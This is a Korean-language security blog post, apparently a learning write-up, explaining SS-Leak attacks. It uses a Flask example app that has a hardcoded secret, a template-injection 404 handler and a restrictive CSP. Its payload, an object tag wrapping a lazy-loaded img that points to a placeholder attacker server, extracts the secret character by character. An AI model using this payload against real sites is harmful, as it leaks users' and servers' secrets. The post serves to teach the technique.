Home SS-Leak with Code Injection
Post
Cancel

SS-Leak with Code Injection

SS-Leak 공격에 대해 알아봅시다.


Information

Same-Site 설정으로 인해 XS-Leak 공격을 시도하기 어렵습니다.
XS-Search을 공격하려면 inline-script를 이용해야하는 경우가 많지만 CSP 설정에 의해서 불가능 한 경우가 있습니다.

Example Code

예시 코드를 보면 CSP가 설정되어 있어 inline-script가 불가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import (Flask,request,render_template,render_template_string,abort)
from not_found import not_found_template

app = Flask(__name__)
sercet_key = "SE3RECT_KEY"

@app.errorhandler(404)
def page_not_found(e):
    return render_template_string(not_found_template(e)), 404

@app.after_request
def csp(response):
    response.headers[
        "Content-Security-Policy"
    ] = "default-src 'self'; img-src *; style-src 'self'"
    return response

@app.route("/", methods=["GET"])
def search():
    if request.method == "GET":
        input_key = request.args.get("key")

        if sercet_key.startswith(input_key):
            return render_template("index.html",key=input_key)

        return abort(404, input_key)
    
if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)

xss_fail

Lazy Loading

object와 img 태그를 이용하여 적용된 CSP를 우회할 수 있습니다.
img 태그의 loading 속성을 lazy로 설정한 후 object 태그 안에 삽입합니다.
object 태그가 리소스를 정상적으로 불러오면, img 태그가 이미지를 불러오지 않으며, 반대의 경우에는 이미지를 불러옵니다.

Exploit

1
2
3
<object data="/?key=[인풋]">
    <img src="[공격자 서버]" loading="lazy">
</object>

위의 예시 코드에서 secret_key를 하나씩 추출하기 위해 문자 하나씩 넣게되면 올바른 key를 넣으면(200) 공격자 서버에 요청을 보내지 않고, 틀린 문자의 경우(404) 공격자 서버에 요청을 하게됩니다.

이를 이용하여 문자를 하나씩 넣어보고 요청이 오지 않은 문자를 파악하여 secret_key를 유추할 수 있습니다.

참인경우 xss_fail 거짓경우 xss_fail

서버 응답 xss_fail

Object & img element

object element는 404 상태 코드인 경우 렌더링이 렌더링이 되지 않으며, iframe의 경우는 상태 코드와 상관 없이 렌더링이 됩니다. xss_fail

Reference

  • https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks
  • https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks
  • https://dreamhack.io/

후기

lazy loading 뿐만아니라 다양한 공격 기법이 참조에 있습니다.
새로운 공격 기법에 대해서 알아가는 시간이 된거 같아서 좋습니다.